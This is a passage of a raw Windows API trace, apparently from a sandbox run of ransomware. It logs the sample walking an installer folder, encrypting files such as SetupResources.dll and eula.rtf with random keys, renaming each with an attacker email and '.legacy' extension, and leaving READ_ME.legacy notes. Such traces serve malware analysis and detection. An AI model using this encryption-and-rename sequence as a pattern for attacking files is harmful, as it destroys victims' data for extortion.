lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8d7d962, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8d7d962, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8d7d962, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.758] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.758] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0105.758] GetLastError () returned 0x0 [0105.758] SetLastError (dwErrCode=0x0) [0105.758] GetLastError () returned 0x0 [0105.758] SetLastError (dwErrCode=0x0) [0105.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0105.759] GetLastError () returned 0x0 [0105.759] SetLastError (dwErrCode=0x0) [0105.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d320 [0105.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d320 | out: hHeap=0x520000) returned 1 [0105.759] FindNextFileW (in: hFindFile=0x5a0aa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0105.759] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.759] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578578 [0105.759] GetLastError () returned 0x0 [0105.759] SetLastError (dwErrCode=0x0) [0105.759] GetLastError () returned 0x0 [0105.759] SetLastError (dwErrCode=0x0) [0105.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0105.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578578 | out: hHeap=0x520000) returned 1 [0105.760] GetLastError () returned 0x0 [0105.760] SetLastError (dwErrCode=0x0) [0105.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567188 [0105.760] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567188 | out: hHeap=0x520000) returned 1 [0105.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0105.760] FindNextFileW (in: hFindFile=0x5a0aa8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0105.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556b20 [0105.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584880 [0105.760] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1d0 [0105.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584880 | out: pbBuffer=0x584880) returned 1 [0105.760] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1d0 | out: pbBuffer=0x54d1d0) returned 1 [0105.760] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll", dwFileAttributes=0x80) returned 1 [0105.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5568b0 [0105.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.761] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5568b0 | out: hHeap=0x520000) returned 1 [0105.761] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0105.761] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=18776) returned 1 [0105.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5c0f88 [0105.761] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4958) returned 0x5c58e8 [0105.761] ReadFile (in: hFile=0x4e4, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x4958, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0105.774] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-18776, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.774] WriteFile (in: hFile=0x4e4, lpBuffer=0x5c58e8*, nNumberOfBytesToWrite=0x4958, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c58e8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x4958, lpOverlapped=0x0) returned 1 [0105.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.775] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c58e8 | out: hHeap=0x520000) returned 1 [0105.775] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x4958 [0105.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.775] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584880*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.775] WriteFile (in: hFile=0x4e4, lpBuffer=0x584880*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584880*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.776] WriteFile (in: hFile=0x4e4, lpBuffer=0x54d1d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1d0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.776] CloseHandle (hObject=0x4e4) returned 1 [0105.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584880 | out: hHeap=0x520000) returned 1 [0105.776] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1d0 | out: hHeap=0x520000) returned 1 [0105.776] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll"), lpNewFileName="\\588bce7c90097ed212\\3082\\SetupResources.dll.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\3082\\setupresources.dll.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556b20 | out: hHeap=0x520000) returned 1 [0105.778] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556918 | out: hHeap=0x520000) returned 1 [0105.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x5565d8 [0105.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584ca0 [0105.778] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d240 [0105.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584ca0 | out: pbBuffer=0x584ca0) returned 1 [0105.778] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d240 | out: pbBuffer=0x54d240) returned 1 [0105.778] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x80) returned 1 [0105.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556640 [0105.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x2e20f20 [0105.779] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556640 | out: hHeap=0x520000) returned 1 [0105.779] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0105.779] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=79996) returned 1 [0105.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1387c) returned 0x5c0f88 [0105.779] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x1387c) returned 0x2f20048 [0105.781] ReadFile (in: hFile=0x4e4, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0x1387c, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0x1387c, lpOverlapped=0x0) returned 1 [0105.795] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-79996, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.796] WriteFile (in: hFile=0x4e4, lpBuffer=0x2f20048*, nNumberOfBytesToWrite=0x1387c, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f20048*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1387c, lpOverlapped=0x0) returned 1 [0105.796] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.798] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f20048 | out: hHeap=0x520000) returned 1 [0105.800] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1387c [0105.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.801] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584ca0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.802] WriteFile (in: hFile=0x4e4, lpBuffer=0x584ca0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584ca0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.802] WriteFile (in: hFile=0x4e4, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.802] CloseHandle (hObject=0x4e4) returned 1 [0105.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584ca0 | out: hHeap=0x520000) returned 1 [0105.802] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0105.803] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="\\588bce7c90097ed212\\3082\\LocalizedData.xml.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0105.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5565d8 | out: hHeap=0x520000) returned 1 [0105.806] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x556570 | out: hHeap=0x520000) returned 1 [0105.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d450 [0105.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584da8 [0105.806] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d110 [0105.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584da8 | out: pbBuffer=0x584da8) returned 1 [0105.806] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d110 | out: pbBuffer=0x54d110) returned 1 [0105.809] SetFileAttributesW (lpFileName="\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x80) returned 1 [0105.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x50) returned 0x56d6b8 [0105.810] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x56c808 [0105.810] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d6b8 | out: hHeap=0x520000) returned 1 [0105.810] CreateFileW (lpFileName="\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4e4 [0105.811] GetFileSizeEx (in: hFile=0x4e4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=3069) returned 1 [0105.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbfd) returned 0x5c0f88 [0105.811] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xbfd) returned 0x5c1b90 [0105.811] ReadFile (in: hFile=0x4e4, lpBuffer=0x5c0f88, nNumberOfBytesToRead=0xbfd, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c0f88*, lpNumberOfBytesRead=0x2e1f9bc*=0xbfd, lpOverlapped=0x0) returned 1 [0105.827] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=-3069, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0105.827] WriteFile (in: hFile=0x4e4, lpBuffer=0x5c1b90*, nNumberOfBytesToWrite=0xbfd, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c1b90*, lpNumberOfBytesWritten=0x2e1f9bc*=0xbfd, lpOverlapped=0x0) returned 1 [0105.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c0f88 | out: hHeap=0x520000) returned 1 [0105.827] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c1b90 | out: hHeap=0x520000) returned 1 [0105.827] SetFilePointer (in: hFile=0x4e4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0xbfd [0105.828] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0105.828] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584da8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0105.829] WriteFile (in: hFile=0x4e4, lpBuffer=0x584da8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584da8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0105.829] WriteFile (in: hFile=0x4e4, lpBuffer=0x54d110*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0105.829] CloseHandle (hObject=0x4e4) returned 1 [0105.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584da8 | out: hHeap=0x520000) returned 1 [0105.829] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d110 | out: hHeap=0x520000) returned 1 [0105.829] MoveFileExW (lpExistingFileName="\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="\\588bce7c90097ed212\\3082\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0105.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56c808 | out: hHeap=0x520000) returned 1 [0105.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d450 | out: hHeap=0x520000) returned 1 [0105.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d298 | out: hHeap=0x520000) returned 1 [0105.831] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784a0 [0105.831] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578698 | out: hHeap=0x520000) returned 1 [0105.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578650 | out: hHeap=0x520000) returned 1 [0105.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d578 | out: hHeap=0x520000) returned 1 [0105.832] FindFirstFileW (in: lpFileName="\\588bce7c90097ed212\\Client\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5a0ae8 [0105.832] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0105.832] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5782f0 [0105.832] GetLastError () returned 0x0 [0105.832] SetLastError (dwErrCode=0x0) [0105.832] GetLastError () returned 0x0 [0105.832] SetLastError (dwErrCode=0x0) [0105.832] GetLastError () returned 0x0 [0105.833] SetLastError (dwErrCode=0x0) [0105.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0105.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d0e0 [0105.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d0e0 | out: hHeap=0x520000) returned 1 [0105.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d500 [0105.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0105.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0105.833] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20258 [0105.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20258 | out: hHeap=0x520000) returned 1 [0105.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d500 | out: hHeap=0x520000) returned 1 [0105.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0105.833] FindNextFileW (in: hFindFile=0x5a0ae8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0105.833] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5782f0 | out: hHeap=0x520000) returned 1 [0105.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578890 [0105.834] GetLastError () returned 0x0 [0105.834] SetLastError (dwErrCode=0x0) [0105.834] GetLastError () returned 0x0 [0105.834] SetLastError (dwErrCode=0x0) [0105.834] GetLastError () returned 0x0 [0105.834] SetLastError (dwErrCode=0x0) [0105.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x5671f8 [0105.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0105.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0105.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d3e8 [0105.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5a0de8 [0105.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5a0de8 | out: hHeap=0x520000) returned 1 [0105.834] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20288 [0105.834] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20288 | out: hHeap=0x520000) returned 1 [0105.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d3e8 | out: hHeap=0x520000) returned 1 [0105.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5671f8 | out: hHeap=0x520000) returned 1 [0105.835] FindNextFileW (in: hFindFile=0x5a0ae8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce2bc00, ftCreationTime.dwHighDateTime=0x1cac6d5, ftLastAccessTime.dwLowDateTime=0xce2bc00, ftLastAccessTime.dwHighDateTime=0x1cac6d5, ftLastWriteTime.dwLowDateTime=0xce2bc00, ftLastWriteTime.dwHighDateTime=0x1cac6d5, nFileSizeHigh=0x0, nFileSizeLow=0x31444, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="Parameterinfo.xml", cAlternateFileName="PARAME~1.XML")) returned 1 [0105.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578890 | out: hHeap=0x520000) returned 1 [0105.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578920 [0105.835] GetLastError () returned 0x0 [0105.835] SetLastError (dwErrCode=0x0) [0105.835] GetLastError () returned 0x0 [0105.835] SetLastError (dwErrCode=0x0) [0105.835] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.835] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578920 | out: hHeap=0x520000) returned 1 [0105.835] GetLastError () returned 0x0 [0105.835] SetLastError (dwErrCode=0x0) [0105.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x567118 [0105.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567118 | out: hHeap=0x520000) returned 1 [0105.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x60) returned 0x556918 [0105.836] FindNextFileW (in: hFindFile=0x5a0ae8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8da3e10, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xb8da3e10, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xb8da3e10, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0105.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578848 [0105.836] GetLastError () returned 0x0 [0105.836] SetLastError (dwErrCode=0x0) [0105.836] GetLastError () returned 0x0 [0105.836] SetLastError (dwErrCode=0x0) [0105.836] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.836] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578848 | out: hHeap=0x520000) returned 1 [0105.836] GetLastError () returned 0x0 [0105.836] SetLastError (dwErrCode=0x0) [0105.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1e0 [0105.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1e0 | out: hHeap=0x520000) returned 1 [0105.837] FindNextFileW (in: hFindFile=0x5a0ae8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x79a6a00, ftCreationTime.dwHighDateTime=0x1ca5de3, ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x9882, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0105.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0105.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x5784e8 [0105.837] GetLastError () returned 0x0 [0105.837] SetLastError (dwErrCode=0x0) [0105.837] GetLastError () returned 0x0 [0105.837] SetLastError (dwErrCode=0x0) [0105.837] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0105.837] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5784e8 | out: hHeap=0x520000) returned 1 [0105.837] GetLastError () returned 